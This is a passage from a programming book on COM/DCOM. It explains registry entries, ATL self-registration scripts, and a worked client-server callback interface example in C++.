the smart pointer example: IBasicTypesPtr pI( _T(“BasicTypes.BasicTypes.1”) ); And the Visual Basic line: Registry Entry Description AppID Associates the AppID with the CLSID. The AppID can be looked up under the \AppID key in the registry. InprocServer32 The filename and path of a DLL that supports the CLSID. LocalServer32 The filename and path of a server application that supports the CLSID. ProgID The ProgID of the class with a version number. ThreadingModel Specifies the threading model for the CLSID if it is not specified. Values can be Apartment, Both, and Free. This key is used with InprocServer32 for in- process servers. VersionIndependant- ProgID The ProgID of the class, without a version num- ber. Table 11.2 Standard CLSID values in the registry. Registration of ProgIDs 173 Additonal Information and Updates: http://www.iftech.com/dcom Set Testobj = CreateObject(“BasicTypes.BasicTypes.1”) The COM subsystem will take this name and look it up in the Registry under ProgID. There are two main ProgID entries under HKEY_CLASSES_ROOT. Here’s what they look like: As you can see, COM can look up the ProgID either with or without a version number. Once the ProgID is found, it is used to determine the CLSID, which is required to create the object. Most of the entries you’ll find under the HKEY_CLASSES_ROOT branch are ProgID’s. These typically have the format of <Vendor>.<Component>.<Version>. You’ll quickly see that there is a huge variation on this standard. Typi- cally the ATL wizard generates ProgID’s that don’t follow the standard. ATL names have the format <Name>.<Name>.<Ver- sion>. If you want to follow the standard you’ll have to modify the code that the wizard generated files. The ProgID shows up in several other places. You’ll often find a copy of the ProgID under the key of a specific CLSID. Figure 11–5 The CLSID and ProgID stored in the registry - HKEY_CLASES_ROOT - BasicTypes.BasicTypes = BasicTypes Class + CurVer = BasicTypes.BasicTypes.1 - BasicTypes.BasicTypes.1 = BasicTypes Class + CLSID = {543FB20E-6281-11D1-BD74-204C4F4F502 174 Chapter 11 • The COM Registry Registration of AppIDs AppID stands for Application Identifier. The AppID key is found under HKEY_CLASSES_ROOT in the registry. You’ll also find an AppID string under the CLSID registry key for a COM Class. AppIDs are used by DCOM to group information about the COM applications. Many COM servers support more than one COM object. The AppID may contain information about how to run the server, if it runs on a remote computer, and access per- missions. Here are some common values found under the AppID key: Self-Registration in ATL Servers There are several ways the server can write entries into the regis- try. The most direct method is to write a program that writes its values directly into the registry using the Registry API calls. This is conceptually simple, but can be very frustrating in practice. Registry Entry Description RemoteServerName The name of a server on a remote computer. This is required if the client program doesn’t specify the server in the COSERVERINFO structure when calling CoCreateInstnaceEx(). LocalService Used to specify that a server runs as a Windows NT service. Used in conjunction with ServicePa- rameters. ServiceParameters This is the command line passed to the server when it is started as a Windows NT service. Value = “-Service” RunAs Specifies that the server be run as a specific user. This is often used to give the server network priv- ileges of a particular user. Table 11.3 Common AppID values The RGS File 175 Additonal Information and Updates: http://www.iftech.com/dcom COM provides a standard interface (IRegister) for registra- tion. In this section, we’ll look at how ATL and the ATL wizard handles object registration. The RGS File If you look at the resources for an ATL wizard generated server, you’ll see a section that contains registry entries. These resources are used to identify a new type of registry script. If you look in the file list of the project you’ll see a file with the extension “RGS” for each of these entries. Double click on these “REGISTRY” resources and you’ll see that they are text file containing the server’s registration commands. This file will be used to automatically update the registry entries for the server. You may be familiar with “REG” scripts used with the REGEDIT application -- the RGS scripts are used by a completely different application. The server’s ATL classes implement a special COM interface called IRegister. This inter- face executes the scripts. IRegister has a limited ability to add, delete, and make simple text substitutions. Here’s an example of one of the RGS files. Figure 11–6 Registry resources produced by ATL 176 Chapter 11 • The COM Registry HKCR { BasicTypes.BasicTypes.1 = s ‘BasicTypes Class’ { CLSID = s ‘{543FB20E-6281-11D1-BD74- 204C4F4F5020}’ } BasicTypes.BasicTypes = s ‘BasicTypes Class’ { CurVer = s ‘BasicTypes.BasicTypes.1’ } NoRemove CLSID { ForceRemove {543FB20E-6281-11D1-BD74-204C4F4F5020} = s ‘BasicTypes Class’ { ProgID = s ‘BasicTypes.BasicTypes.1’ VersionIndependentProgID = s ‘BasicTypes.BasicTypes’ LocalServer32 = s ‘%MODULE%’ val AppID = s ‘{543FB201-6281-11D1-BD74-204C4F4F5020}’ } } } The syntax here is straightforward. HKCR stands for HKEY_CLASSES_ROOT. It immediately creates two entries for BasicTypes.BasicTypes, and BasicTypes.BasicTypes.1. If you look under HKEY_CLASSES_ROOT, you’ll see these entries. The script also writes information into the CLSID key of the registry. Under CLSID, the script will write a key for the GUID, and several significant sub-keys such as LocalServer32. Remem- ber that this script works for both registration and unregistration. The “NoRemove” keyword tells it not to delete the CLSID branch when the server unregisters. Automatic Registration of Remote Servers 177 Additonal Information and Updates: http://www.iftech.com/dcom Automatic Registration of Remote Servers If the server runs as an EXE or service, the registration is accom- plished with a special startup command: MyServer - RegServer Let’s look at the code ATL generates. The following was taken from the WinMain function of the IDLTEST server from chapter 6, IdlTest.CPP. if (lstrcmpi(lpszToken, _T(“RegServer”))==0) { _Module.UpdateRegistryFromResource(IDR_IdlTest, TRUE); nRet = _Module.RegisterServer(TRUE); bRun = FALSE; break; } When the server is run from the command line, it checks for the “RegServer” command. This command tells the server to write its settings into the registry and exit immediately. In this example object _Module is an ATL class of type CComModule. The first function called is UpdateRegistryFromResource(). If you step into this module you’ll see some familiar COM behav- ior. This CComModule class calls CoCreateInstance on the IReg- ister interface, then calls a method named ResourceRegister, passing in the ID of the RGS file’s resource. The unregistration is simply a mirror image of registration. The server is invoked with a command line of “UnRegserver”. Note the boolean FALSE passed into UpdateRegistryFromRe- source(). Here’s the source from the server main routine: if (lstrcmpi(lpszToken, _T(“UnregServer”))==0) { _Module.UpdateRegistryFromResource(IDR_IdlTest, FALSE); nRet = _Module.UnregisterServer(); 178 Chapter 11 • The COM Registry bRun = FALSE; break; } In-Process Servers Servers implemented as DLL’s have a different registration scheme. Each COM DLL must contain two exported functions for server registration. These are DllRegisterServer and DllUnreg- isterServer. These functions implement the same registration functions as a remote COM server. Because you can’t directly run a DLL, registration is handled somewhat differently. Windows provides a utility called REGSVR32, which can register a DLL. The way REGSVR32 works is that it finds and loads the DLL containing the In-Process server, then calls the DllRegisterServer function. This is the same utility that we have used to register Proxy/Stub DLL’s. It is executed automatically as part of the build process, or you can run it man- ually. Using the Registry API How you accomplish the registration of components is your own business. If you like doing things the old-fashioned way, you can skip the RGS files and directly call the registry API functions. These consist of functions like RegCreateKey() and RegDeleteValue(). In the old days of COM this is how all server registration was accomplished. If you’re not familiar with these functions they can be somewhat counterintuitive. The help files describe how to use these functions. Summary COM uses the registry as an storage area for all information releated to COM servers and interfaces. When a COM client Summary 179 Additonal Information and Updates: http://www.iftech.com/dcom wants to access a COM server, the operating system uses the information in the registry to find, start and control the server. By becoming familiar with the information in the registry, you improve your ability to understand and debug COM applications. The registry is also one of the areas responsible for many COM errors. For example, if a server does not properly self-regis- ter, then the client will not be able to activate it. See the error- handling appendix, which discusses many of the problems that can occur in the registry. 180 Chapter 11 • The COM Registry T W E L V E 12 Callback Interfaces So far, all the interfaces we’ve seen are strictly one directional - a client program connects to a COM server and calls its methods. Most COM interfaces are driven entirely by the client. The client makes the connection, uses the connection, and shuts it down when finished. This works great for simple methods that com- plete relatively quickly. For more complex server applications, this client driven design can break down. Often the server needs to send responses to the client. For example, a server may need to notify the client whenever some asynchronous event takes place. An example of this would be a server that generates reports. These reports are created from a database, require extensive searches, and make lengthy calculations. The client GUI program would call a method on the server called DoReport. The DoReport method might take several minutes to complete. Meanwhile, the client GUI would be stalled, waiting for the report to complete. Obviously, this is a poor design. A better solution would be for the client GUI to call a method named StartReport which causes the server to spawn a worker thread that handles the lengthy report generation. Star- tReport would start the worker thread and return as soon as it was started. The client could then do other work, such as dis- 182 Chapter 12 • Callback Interfaces playing progress. After several minutes, the server would tell the client GUI that it was finished. The client GUI would call a method named GetReportData, and display the complete report. The simplest way to do this is for the client program to con- stantly poll the server. BOOL IsReady; // Start a worker thread on the server pI->StartReport(); // Check if report is done pI->CheckReport( &IsReady ); while(IsReady == FALSE) { Sleep( 60000 );// wait 1 minute pI-> CheckReport ( &IsReady ) )// poll the server } // get the report pI->GetReport( &data ) There are three problems with this code. First, there is potentially a minute delay before the event is processed (because of the duration of the Sleep statement). The second problem is efficiency. You can shorten the Sleep delay at the expense of efficiency. For remote network connections this could mean expensive and unnecessary network traffic. The fun- damental trade off is between responsiveness and efficiency. If you can afford the waiting, this is a simple way to design an interface. A more efficient way to design this program is for the server to make a COM connection back to the client. When the server finishes processing, it immediately notifies the client. There are two ways to do this - custom callback interfaces and connection points. In essence, we will use COM to create an asynchronous link from the server to the client. Client and Server Confusion 183 Additonal Information and Updates: http://www.iftech.com/dcom While conceptually simple, the implementation of this bi- directional design can be complex. After debugging a bi-direc- tional client and server, you may reconsider the polling interface shown above. This chapter covers the simpler of the two - custom call- backs. Connection Points are more flexible, but considerably more complex and are discussed in the following chapter. Both of these techniques have advantages and disadvantages in spe- cific situations. Client and Server Confusion Before we embark on further explanation, here are a few words of caution. This subject can be quite confusing. It is difficult to keep track of clients and servers. The concepts aren’t all that complicated, but they are hard to track mentally. While the diagrams are relatively simple, the description can be difficult. The basic problem is this: each object is both a COM client and a COM server. The labels “client” and “server” have lit- tle meaning in this context. Another point of distraction is the implementation of call- backs. To demonstrate this concept, we will need both a server and client application. Because the two are closely tied together, we can’t explain one without explaining both. The actual call- back interface is extremely simple, but the interaction is com- plex. Custom Callback Interfaces A callback is simply a function on the client that is called by the server. In COM, it’s perfectly OK for a client application to also expose COM objects. The server can connect back to a client object. This does blur the distinction between client and server. 184 Chapter 12 • Callback Interfaces The COM/OLE world uses the terms ‘source’ and ‘sink’ to describe bi-directional interfaces. In the above diagram, the cli- ent application has a sink interface. This interface is used by the server application to notify its caller. The source is a source of events. In other words, it’s an object that makes the connection back to the client application. The source connects to the sink. We are going to build a dialog-based client program called ‘CallbackClient’ that implements a COM interface. We’ll also design a server which implements an interface allowing the cli- ent to ‘register’ itself. Once the client is registered, the server has a way to connect back to it. In the COM vocabulary, registering a callback interface with the server is often called an “Advise”. Basically, the Advise() method makes a copy of the client’s callback interface, and stores it for later use. When the client disconnects, it “un-advises” its callback. In Figure 2, Notice that the CCallBack object, and its inter- face, are inside the callback Client Application box. They also have dashed lines. It was drawn this way to show that ICallBack interface is not exposed to the outside world. Unlike most COM objects, this Object cannot be connected through a normal call to CoCreateInstance(). The only way for the Callback Server to get this object pointer is when the client explicitly passes it to the server. We’ll see how this is done in the example. Figure 12–1 With a callback, the server can talk back to the client Client Application Callback Interface Server Applicaiton Primary Interface A Callback Example 185 Additonal Information and Updates: http://www.iftech.com/dcom A Callback Example Here is an outline of the steps we’ll follow to implement the server object. We’ll describe each step in more detail below. 1. Create a COM Server using the ATL Wizard. Name the server CallbackServer. 2. Add a COM object to the server. Name the object Simple- Callback. Use the ATL object wizard. 3. Add the definition of a COM interface named ICallBack to the IDL code for the server. Note that we won’t be imple- menting the ICallBack interface in the server, we’re just add- ing a definition. 4. Add four methods to the ISimpleCallback interface on the server: Advise(), UnAdvise(), Now() and Later() Create the Server First we’ll define the CCallbackServer server program. There’s nothing special about this server. Use the wizard to create an ATL COM AppWizard project. You could implement the server either as an in-process server, or an EXE based server. Note that an EXE server is slightly more complex to build, and also harder to debug. Figure 12–2 The relationship between server and client when a callback is used. Note that a COM server to handle the callback is embed- ded within the client. ICallback ISimpleCallback CSimpleCallback Object Server CallbackClient CCallback Object 186 Chapter 12 • Callback Interfaces The sample code was built as an EXE server. These tech- niques work with any type of server - it will work just as well as a service or a DLL. Add a COM Object to the Server Add a COM object to the server using the ATL Object Wizard. Select a simple COM object. Give it the name SimpleCallback. On the attributes page select the following: • Apartment threading model. • Custom Interface. (Dual would also work) • Either yes or no for aggregation. Note that the “Support Connection Points” option is com- pletely unnecessary for a custom callback method. We’ll use this option in a later section when we add a Connection Point in the next chapter. Next we’ll add four methods: Advise(), UnAdvise(), Now(), and Later(). Look in the file CallbackServer.IDL. The wizard gen- erated MIDL definitions have an interface that looks like the fol- lowing code. I’ve stripped out some extraneous material, and of course, the GUID’s will be different. [ object, uuid(B426A80D-50E9-11D2-85DA-004095424D9A), helpstring(“ISimpleCallback Interface”), pointer_default(unique) ] interface ISimpleCallback : Iunknown { HRESULT Advise([in] ICallBack *pICallback, [out] long *lCookie); HRESULT UnAdvise([in] long lCookie); HRESULT Now([in] long lCode); HRESULT Later([in] long lSeconds); }; Don’t laugh about the cookies. We’ll explain how they are used later. Adding the ICallBack Interface to IDL 187 Additonal Information and Updates: http://www.iftech.com/dcom Adding the ICallBack Interface to IDL Next, we’ll add the callback interface definition to the IDL code of the server. The callback interface will not be implemented by this server. We will write the callback interface when we write the Client application. We are just going to add the IDL code. Although we’re not implementing this interface, the server needs its definition. We can’t use the ATL Object Wizard, because it will also add the CPP and H files. We’re using MIDL as a convenient way to generate header definitions. We’ll include the headers in the cli- ent program. Type in the following definition to the CallbackServer.IDL file. Put it near the top of the file where it’s easy to find, just above the definition of the ISimpleCallback interface. // implemented on the client only [ object, uuid(B426A80D-50EA-11D2-85DA-004095424D9A), helpstring(“ICallBack Interface”), ] interface ICallBack : Iunknown { HRESULT Awake( long lVal ); }; Modify the Header Now we’ll modify the CSimpleCallback object and add two member variables. We’ll add a cookie and an ICallBack interface pointer to the class definition. Find CSimpleCallback in the header file SIMPLECALLBACK.H. Add these two variables to the public part of the class definition. long m_lCookie; ICallBack *m_ICallBack; 188 Chapter 12 • Callback Interfaces Adding the Advise Method to the Server Now we’ll add code to SimpleCallback.CPP. The first method we’ll add is Advise(). The purpose of this method is to save a pointer to the client’s callback interface. The client program will call this method, passing in a pointer to its callback interface. Note that the client is responsible for creating the ICallBack interface pointer - we’re NOT going to call CoCreateInstance. // Register the callback STDMETHODIMP CSimpleCallback::Advise(ICallBack *pICallback, long *lCookie) { // Save the pointer m_ICallBack = pICallback; // keep the interface alive by calling AddRef m_ICallBack->AddRef(); // Make up a cookie with a semi-unique number *lCookie = (long)this ; m_lCookie = *lCookie; return S_OK; } The client passes in a pointer to its own COM interface. This method will do an AddRef() on the callback interface, and save the ICallBack COM pointer. All AddRef is going to do is incre- ment the ICallBack interface reference count. Notice that the client passed us an ICallBack interface. There is no ambiguity here - this method only accepts ICallBack interfaces. When we use connection points later, we’ll see that they are more flexible. Finally, we get to the cookie. You may already be familiar with Internet cookies - COM cookies are somewhat different. The cookie is a unique ID that the server retains to keep track of connected clients. The server will use this value later, when it needs to close down the connection. We’ve used the this pointer for a semi-unique number. The cookie only has to be unique within the context of our server. Adding the UnAdvise Method 189 Additonal Information and Updates: http://www.iftech.com/dcom The only purpose of the cookie is to ensure that the client un-advises the same interface it advised. This is an unnecessary check in this example program, but more complex servers may require it. Adding the UnAdvise Method Let’s take a look at the UnAdvise() method. It is going to close the connection made by the previous call to Advise(). // Remove the callback object STDMETHODIMP CSimpleCallback::UnAdvise(long lCookie) { // Compare the cookie. Be sure this is same client if (lCookie != m_lCookie) return E_NOINTERFACE; // Release the clients interface m_ICallBack->Release(); m_ICallBack = NULL; return S_OK; } We check the cookie to ensure this is the right client. In this example there’s not much to do if the cookie is wrong, so we return a generic COM error. Finally, we Release the interface pointer we’ve been saving. Remember, we did an AddRef() in the Advise method. This will allow the client to shut down with no outstanding connections. Calling the Client from the Server Now we get to the heart of our callback interface - the callback! All that this function calls is a method on the client (sink) inter- face. Since we already have the pointer, this method works just like any COM interface. The Awake method is quite simple, but there’s nothing to prevent methods that are more complex. In 190 Chapter 12 • Callback Interfaces fact, our Later() method will be used later to demonstrate a multi-threading example. // Callback the client immediately STDMETHODIMP CSimpleCallback::Now( long lCode) { HRESULT hr = E_FAIL; if (m_ICallBack != NULL) { // Call method synchronously. // This will not return until // the client presses OK on the MessageBox. hr = m_ICallBack->Awake( lCode ); } return hr; } This isn’t a very realistic use for a callback interface. Nor- mally, the server (source) object would execute the callback with some important notification for its client. With a little imagina- tion, you can come up with useful implementations of a call- back. Notice that the call to Awake() is synchronous. That means the client’s call to Now() won’t complete until the server’s Awake() callback completes. This means the client is waiting for itself! This doesn’t solve our original problem of waiting for the server. Don’t worry, we will provide a usable threading solution later with the Later() method. For now, the Now() method will demonstrate basic concepts. If this discussion seems a little hypothetical, it’s because we haven’t seen the client application yet. Note: Build the server, and don’t forget to build the Proxy/Stub DLL. Use the BuildMe.bat file to automate this task. We’ll add the Now and Later implementation later, but the MIDL code won’t change. The test client requires these MIDL generated headers. The Client Application 191 Additonal Information and Updates: http://www.iftech.com/dcom The Client Application With the client application we’re going to do something a little different. Up to this point, we’ve implemented all our COM objects using the ATL wizards. For this program we’re going to write the ATL code ourselves. It’s really quite easy. The client is a standard MFC dialog-based application. This will be a plain-vanilla MFC dialog application, which we will modify to implement a COM object. Next we’ll write the callback (sink) COM object. Finally, these two elements will be hooked together. Here’s the sequence of events. 1. Create an MFC Dialog Based Application. Call it CallbackCli- ent. 2. Modify the client’s main program to support the Callback Interface (ICallBack). The definition of the ICallBack object comes from the MIDL code of the CallbackServer server. We’ll set everything up in the application InitInstance and ExitInstance methods. 3. Attach code to the button that tests the callback. Create the Client Dialog Application Go to the File/New tab and create a new MFC AppWizard project. I’ve named the project CallbackClient. Take all the stan- dard dialog application options. The AppWizard will create a dialog named IDD_CALLBACKCLIENT_DIALOG. Edit this dialog and delete the OK button. Leave the Cancel button. Next we’ll add a new button, with the ID as IDD_BUTTON1. Change the text of the button to read “Now”. Add IDD_BUTTON2 for the “Later” button. The dialog should now look similar to Figure 12-3. Next, edit the STDAFX.H file to include ATL. If you leave out this line, the compiler won’t recognize ATL templates such as CComModule. Add the following line near the end of STDAFX.H: #include <atlBase.h> 192 Chapter 12 • Callback Interfaces Our dialog should now compile, but it will just be an empty shell. In the examples that follow we will be leaving out the part of the application we haven’t modified. We will only present enough of the application framework to give a context. For a holistic look at this application you’ll need to look at the exam- ple source code on the CD. Adding the Callback COM Object Next we’re going to modify the CallbackClient application to support our ICallBack interface. To do this, we’ll have to manu- ally add a COM object to the application. This is the first time we’re not going to use the ATL wizards, but it’s really easy to do. Edit the main application source module, CallbackCli- ent.CPP, and add the following class definition at the top, just after the #include section. CComModule _Module; // Define main COM module. // Required for <atlcom.h> #include <atlcom.h> // definition of CcomObjectRoot Figure 12–3 The sample application is a simple dialog The Client Application 193 Additonal Information and Updates: http://www.iftech.com/dcom // Callback interface to be implemented on client class CCallBack : public ICallBack, // Use this interface // (server.idl) public CComObjectRoot // Use ATL { public: CCallBack() {} // Default constructor // Define COM object map BEGIN_COM_MAP(CCallBack) COM_INTERFACE_ENTRY(ICallBack) END_COM_MAP() // Icallback public: // The callback method STDMETHOD(Awake)(long lVal); }; // Create object map for callback interfaces BEGIN_OBJECT_MAP(ObjectMap) END_OBJECT_MAP() There’s a lot going on here so we’ll break it up into smaller bites. First, we need to include ATL in the source code. This is done by including <atlcom.h>. If you just plop this definition down anywhere in the code, you’ll get lots of errors. This is because this ATL header is assuming a main module named “_Module” is already defined. “_Module” is a magic name, and you’ll have to declare it in every ATL module. The ATL class CComModule handles all the plumbing of starting, stopping, and registering a COM server. Needless to say, there’s a lot going on in CComModule. Fortunately, we don’t have to understand all this behind-the-scenes magic to use it. CComModule _Module; 194 Chapter 12 • Callback Interfaces Once this symbol is defined, we can proceed with our class definition. We’re going to inherit from ICallback, and the root of all ATL objects, CComObjectRoot. This class is required for all ATL objects, it provides the required implementation of IUn- known - in other words, QueryInterface, AddRef, and Release. // Callback interface to be implemented on client class CCallBack : public ICallBack, // Use this interface // (server.idl) public CComObjectRoot // Use ATL Linking to the Server Headers The definition of ICallBack is a bit of a mystery here. Remember, this Interface is defined in the CallbackServer server. We put a definition of the interface in the IDL code for the server. When MIDL was executed, it emitted two very useful files: CallBackServer_i.c and CallBackServer.h. The “i.c” file includes GUID definitions, and the “.h” file defines the ICallBack interface in C++. To get these definitions, include the following statements in the header file CallbackClient.h: #include “..\CallbackServer\CallBackServer_i.c” #include “..\CallbackServer\CallBackServer.h” You may need to change the path to these files, depending on where the client and server project was created. COM Maps Meanwhile, back at the CallbackClient.CPP module, we need to add some more code. The next part of the class is the interface map. This interface map sets up an array of interface IID’s . The COM object will use these IID’s when it calls QueryInterface. These macros hide a lot of code, and if you mistype any of the entries you may get some unusual, and apparently unrelated, error messages. Luckily, our COM object only has one interface. The Client Application 195 Additonal Information and Updates: http://www.iftech.com/dcom BEGIN_COM_MAP(CCallBack) COM_INTERFACE_ENTRY(ICallBack) END_COM_MAP() Implementing the Callback Method This COM object has only a single method called Awake. All that our implementation does is display a message box. STDMETHODIMP CCallBack::Awake(long lVal) { CString msg; msg.Format( “Message %d Received”, lVal ); AfxMessageBox( msg ); return S_OK; } In a real-life implementation of a callback, this method might be considerably more complex. The purpose of this method is to notify the client application of a server event, such as report completion. Obviously, there isn’t any code in this example to do this, so we simulate it with a Message Box. There are also some significant threading issues here. We need to be aware that the dialog box and CCallBack objects are running in the same apartment (i.e. thread). You’ve got to be careful about the callback blocking execution for the dialog. At the end of the CallbackClient.CPP file, we have the nor- mal AppWizard generated MFC application class. In this case, the application is called CCallbackClientApp, and inherits from CWi- nApp - a standard dialog based application. We’re going to add a few lines of code to set-up our server connection. Adding the Object Map The object map is located just after the class definition. The pur- pose of this structure is to maintain an array of ATL objects that will be supported. We’re not exposing any ATL objects to the outside world, so we don’t need any entries. Any ATL objects that are put in this structure will be registered when _Module.Init() is called. 196 Chapter 12 • Callback Interfaces // Create object map for callback interfaces BEGIN_OBJECT_MAP(ObjectMap) END_OBJECT_MAP() That points out another difference between our ICallBack interface and a normal COM interface. We aren’t allowing other programs to instantiate a CCallBack object and interface by call- ing CoCreateInstance. It isn’t necessary because we’ll be creating the object internally, and explicitly passing it to any outside objects that need it. Connecting to the Server In COM, everything starts with the client. By defining our CCall- Back class first, we’re getting ahead of ourselves. Before any- thing can happen, we need to initialize COM and connect to the server. We’re doing this in the application’s InitInstance method. InitInstance is a standard method of CWinApp, and gets called to display the application’s main dialog. // Initialize the application BOOL CCallbackClientApp::InitInstance() { AfxEnableControlContainer(); // Initialize COM interfaces InitCOM(); etc... We’ve added the InitCOM method, which we’re about to implement. Add this method to the header and enter the follow- ing code. BOOL CCallbackClientApp::InitCOM() { HRESULT hr; CoInitialize(0); // Initialize COM Connecting to the Server 197 Additonal Information and Updates: http://www.iftech.com/dcom // Initialize the main ATL object _Module.Init( ObjectMap, 0 ); // Create a server object m_pSimple = NULL; hr = CoCreateInstance( CLSID_SimpleCallback, 0,CLSCTX_SERVER,IID_ISimpleCallback(void**)&m_pSimpl e ); if (SUCCEEDED(hr)) { // Create a callback object CComObject<CCallBack>* pCallBack = NULL; CComObject<CCallBack>::CreateInstance( &pCallBack ); pCallBack->AddRef(); // Set up the callback connection hr = m_pSimple->Advise( pCallBack, &m_lCookie ); // Done with our ref count. Server did an AddRef pCallBack->Release(); } return SUCCEEDED(hr); } We must, of course, start by initializing the COM subsystem. We’re using apartment threading, so the old-fashioned CoInitial- ize works fine. Next, we initialize the ATL main module. This is done by calling the Init() method on the _Module object. This gets ATL going and ready to serve the CCallBack COM object. hr = CoCreateInstance( CLSID_SimpleCallback, 0, CLSCTX_SERVER, IID_ISimpleCallback, (void**)&m_pSimple ); We connect to the server in the usual way, with CoCre- ateInstance. This starts up the server and delivers a server-side COM interface. If you haven’t done all of your server registration 198 Chapter 12 • Callback Interfaces correctly, you’ll probably get an error like “Class Not Registered” here. If you did everything perfectly on the server, we’re ready to call Advise and register our callback interface with the server. CComObject<CCallBack>* pCallBack = NULL; CComObject<CCallBack>::CreateInstance( &pCallBack ); pCallBack->AddRef(); This code looks a lot like ATL templates - for good reason. We use the CComObject template to define a pointer to our cli- ent-side CCallBack class. We instantiate this class using its Cre- ateInstance method. CreateInstance is a static method that provides an efficient way to create a local COM object. There’s more going on here than first meets the eye. Notice that we’re not calling CoCreateIn- stance, the usual way of getting a COM interface. We’re cheating a little because CCallBack is implemented locally. Normally, COM restricts access to COM objects to their inter- faces only. That doesn’t make sense here because we’re actually implementing the object. The object creation process is nor- mally hidden by CoCreateInstance, but in this case, we can see it. Because everything’s local, we skip all CLSID’s and registra- tion entirely. We do an AddRef on the object, to ensure that it stays around for a while. hr = m_pSimple->Advise( pCallBack, &m_lCookie ); // Done with our ref count. Server did an AddRef pCallBack->Release(); We created this COM object so we could pass it into the server. This is done in the Advise method. If you remember the server side, the interface is copied and AddRef’ed by the server. This leaves us free to release the object, and let normal COM lifetime management take its course. In the implementation of UnAdvise, we’ll see where the CCallBack object is finally released and can shut itself down Connecting to the Server 199 Additonal Information and Updates: http://www.iftech.com/dcom Cleaning Up Eventually, the user is going to press the cancel button and shut down the application. At this point, we need to close the server connection and UnAdvise our callback. We put this code in Exit- Instance, which is called right before the application shuts down. ExitInstance is a virtual method of CWinApp. We’ll add ExitIn- stance to the CCallbackClientApp header, and enter the follow- ing code. int CCallbackClientApp::ExitInstance() { // If we have a server object, release it if (m_pSimple != NULL) { // Remove server’s callback connection m_pSimple->UnAdvise(m_lCookie); // Release the server object m_pSimple->Release(); } // Shut down this COM apartment CoUninitialize(); return 0; } This is very straightforward code. We UnAdvise our callback and release the server. Finally we shut down the COM apartment with CoUninitialize. This concludes the application portion of our server. What’s left is almost trivial - we add the button methods for Now and Later. Adding the OnButton Code Now that we have wired-in our callback sink into the main application, it’s time to build a test method. We’re going to hook this test method up into the “Now” button on the main dialog. Use the class wizard to add a method to the dialog called OnButton1. You can also add the method for the “Later” button. 200 Chapter 12 • Callback Interfaces The class wizard will generate all the usual message maps for the two buttons. We’re creating these methods on the actual dialog class, not the main application. The end result is two OnButton methods on the CCallbackClientDlg dialog. These two OnButton methods will act as our test platform. void CCallbackClientDlg::OnButton1() { HRESULT hr; CCallbackClientApp *pApp = (CCallbackClientApp*)AfxGetApp(); hr = pApp->m_m_pSimple->Now(1); if (!SUCCEEDED(hr)) AfxMessageBox( “Call Failed” ); } void CCallbackClientDlg::OnButton2() { HRESULT hr; CCallbackClientApp *pApp = (CCallbackClientApp*)AfxGetApp(); hr = pApp->m_pSimple->Later(5); if (!SUCCEEDED(hr)) AfxMessageBox( “Call Failed” ); } Since we already connected to the server in InitCOM, we don’t have to do much here. We just get a pointer to the main application and use its COM pointer. We call AfxGetApp() to get a pointer back to our main application. The COM interface pointer is called “m_pSimple”, and we use it to call a method. Note that we haven’t implemented the Later method on the server. It won’t do anything. At this point, the code is complete. We have presented a large block of source - it was unavoidable. This example covers a complex interaction between a client and server. Build the client and press the “Now” button. A Chronology of Events 201 Additonal Information and Updates: http://www.iftech.com/dcom A Chronology of Events The purpose of the following list is to follow the sequence of events required to make the callback. Since a callback involves the close interaction of a client and server application, we’ve included both sequences here. CLIENT DIALOG COM SERVER The client application is started. It calls InitInstance() on the application class. This will initialize the objects required for the application. The InitCOM() method is called. This is a custom method we wrote to ini- tialize all COM objects. CoInitialize is called to initialize COM. InitCOM creates a CCallBack object using CComObject::CreateInstance. This object will remain in existence during the lifetime of the client. It is an ATL COM object. InitCOM() instantiates an ISimpleCall- back interface on the server applica- tion by using CoCreateInstance(). The server will be automatically started, and the CSimpleCallback object is created. This object will remain until the client releases it. InitCOM() passes a pointer to a CCall- Back object to the server’s Advise() method . The Advise method makes a copy of the ICallBack interface. It calls AddRef to lock the object. It creates a cookie and returns control to the client. InitCallback() releases the CCallBack object created with CreateInstance. 202 Chapter 12 • Callback Interfaces ... ... The user presses the “NOW” button, calling OnButton1. The client program calls Now() on the server The Now method immediately calls Awake on the client. It uses the saved ICallBack interface it received in Advise. Awake displays a message box. The user presses OK to clear the box. Awake completes. The call to Awake returns. The Now method completes. The call to OnButton1 method com- pletes. ... ... The user presses the “CANCEL” but- ton. The main dialog closes and is destroyed. The main application calls ExitInstance. ExitInstance calls UnAdvise, passing in the cookie. UnAdvise releases the ICallBack inter- face and returns. The CCallBack objects reference count goes to 0. ATL automatically shuts down and deletes the CCallBack object. The client calls Release on the ISimple- Callback interface on the server. CLIENT DIALOG COM SERVER A Multi-Threaded Server 203 Additonal Information and Updates: http://www.iftech.com/dcom In the preceding example, we built a client and server application. These two applications work together to demon- strate all the basic points of a bi-directional callback interface. Although informative, this isn’t a realistic example of how call- backs are used. The whole point of this exercise was to demonstrate how a COM server can notify a client program that asynchronous events occur. Unfortunately, when the client calls the Now() method everything is blocked until it completes. We can solve this problem with multi-threading. A Multi-Threaded Server Now that everything works, we’re going to add a worker thread to the COM server. This worker thread allows the server to accomplish lengthy processing without locking the client. When the client application calls the COM server, it will kick-off a pro- cessing thread and return immediately. This thread will run for awhile, then notify the client that it’s finished. Here’s the interaction: The reference count to CSimpleCall- back goes to 0. The server shuts down. ExitInstance calls CoUninitialize. The client application closes. Table 12.1 Interaction between client and server when using a callback CLIENT DIALOG COM SERVER 204 Chapter 12 • Callback Interfaces If you’ve done much multi-threaded programming, you know what you’re in for. Creating a worker threads in Win32 is quite easy - doing it right is not! Multi-threaded programming can cause problems in thousands of ways that you never imag- ined. Nevertheless, multi-threading provides some tremendous benefits. If you’re an experienced multi-threaded programmer, much of the following material is obvious. I’ve described some of the basics of threading for the benefit of those readers who need some review. The only thing unique about this code is the inter- thread marshaling used to pass a COM pointer. CLIENT DIALOG COM SERVER User presses “LATER” button. Client calls the Later() method on the ISim- pleCallback interface. Later method starts a worker thread. It returns as soon as the thread starts. The Later method finishes. The client dialog waits for the next command. Several seconds elapse... The worker thread finishes process- ing. It calls the Now() method on itself (using the ISimpleCallback interface.) The Now() method calls the Awake() method on the client application. Awake displays a message box. It returns when the user presses OK. The worker thread completes, and shuts itself down. The server waits for it’s next call. Table 12.2 Multithreaded interaction with a callback Starting the Worker Thread 205 Additonal Information and Updates: http://www.iftech.com/dcom Starting the Worker Thread The Later() method is going to launch a worker thread, then return to caller. We’re going to use AfxBeginThread to start the worker thread, and pass it a C++ object. This C++ object will start COM, do some processing, and call a method back on the main thread. Later() is called directly by the client, after the call- back is registered. Here’s the code: STDMETHODIMP CSimpleCallback::Later(long lSeconds) { HRESULT hr; CWinThread *pt = 